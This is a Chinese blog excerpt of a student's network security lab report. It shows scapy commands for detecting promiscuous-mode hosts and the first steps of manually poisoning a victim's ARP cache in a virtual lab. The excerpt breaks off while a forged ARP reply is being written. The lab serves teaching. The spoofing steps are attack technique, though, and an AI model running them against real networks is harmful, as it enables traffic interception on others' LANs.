李寒的小窝

Recent content on

马上订阅 李寒的小窝 RSS 更新: https://lihan3238.github.io/index.xml

2023网络安全作业chap0x04

2023年10月11日 00:33
Featured image of post 2023网络安全作业chap0x04

网络监听实验

实验环境

网络拓扑

使用第一次实验中的internalNetwork1的lihanGatewayDebianlihanVictimKali1以及新配置的lihanAttackerKaliChap4

networkTopology

如图所示网络中的节点基本信息如下:

  • 攻击者主机(lihanAttackerKaliChap4)
    • mac地址:08:00:27:ef:46:19/eth0
    • ip地址:172.16.111.135
  • 受害者主机(lihanVictimKali1)
    • mac地址:08:00:27:93:2e:67/eth0
    • ip地址:172.16.111.102
  • 网关(lihanGatewayDebian)
    • mac地址:08:00:27:63:cd:72/enp0s9
    • ip地址:172.16.111.1

实验要求

  • 实验一:检测局域网中的异常终端
  • 实验二:手工单步“毒化”目标主机的 ARP 缓存

实验过程

实验准备

确定在攻击者主机上提前安装好 scapy 并更新

1
pip3 install scapy[complete]

confirmScapy

实验一:检测局域网中的异常终端

  • 注意,启动虚拟机前 要在虚拟机的网络配置处,允许开启混杂模式。
  1. 在受害者主机上检查网卡的「混杂模式」是否启用
1
ip link show eth0

check1

输出结果里没有出现PROMISC字符串,未开启混杂模式

  1. 在攻击者主机上使用 scapy 发送 ARP 请求包,获取局域网中的主机信息
1
2
sudo scapy
pkt = promiscping("172.16.111.102")

promiscping1

  1. 开启该网卡的「混杂模式」
1
sudo ip link set eth0 promisc on

check2

此时会发现输出结果里多出来了 PROMISC

  1. 再次使用 scapy 发送 ARP 请求包,获取局域网中的主机信息
1
pkt = promiscping("172.16.111.102")

promiscping2

  1. 关闭该网卡的「混杂模式」
1
sudo ip link set eth0 promisc off
  1. 总结
  • 混杂模式 接收所有经过网卡的数据包,包括不是发给本机的包,不验证MAC地址
  • 普通模式 网卡只接收发给本机的包

使用wireshark分析:

wireshark1

promiscping命令会发送ARP who-has 请求,且没有指定目的主机的MAC地址,只有受害者主机开启混杂模式后,才能收到该请求包。

实验二:手工单步“毒化”目标主机的 ARP 缓存

获取当前局域网的网关 MAC 地址

  1. 构造一个 ARP 请求
1
2
3
arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst="172.16.111.1")
# 查看构造好的 ARP 请求报文详情
arpbroadcast.show()

arp1

  1. 发送 ARP 请求
1
recved = srp(arpbroadcast, timeout=2)

sendArp1

  1. 查看网关 MAC 地址
1
2
gw_mac = recved[0][0][1].hwsrc
gw_mac

gwMac

伪造网关的 ARP 响应包

  1. 发送给受害者主机 192.168.0.102,ARP 响应的目的 MAC 地址设置为攻击者主机的 MAC 地址
1
2
3
arpspoofed=Ether()/ARP(op=2, psrc...

剩余内容已隐藏

查看完整文章以阅读更多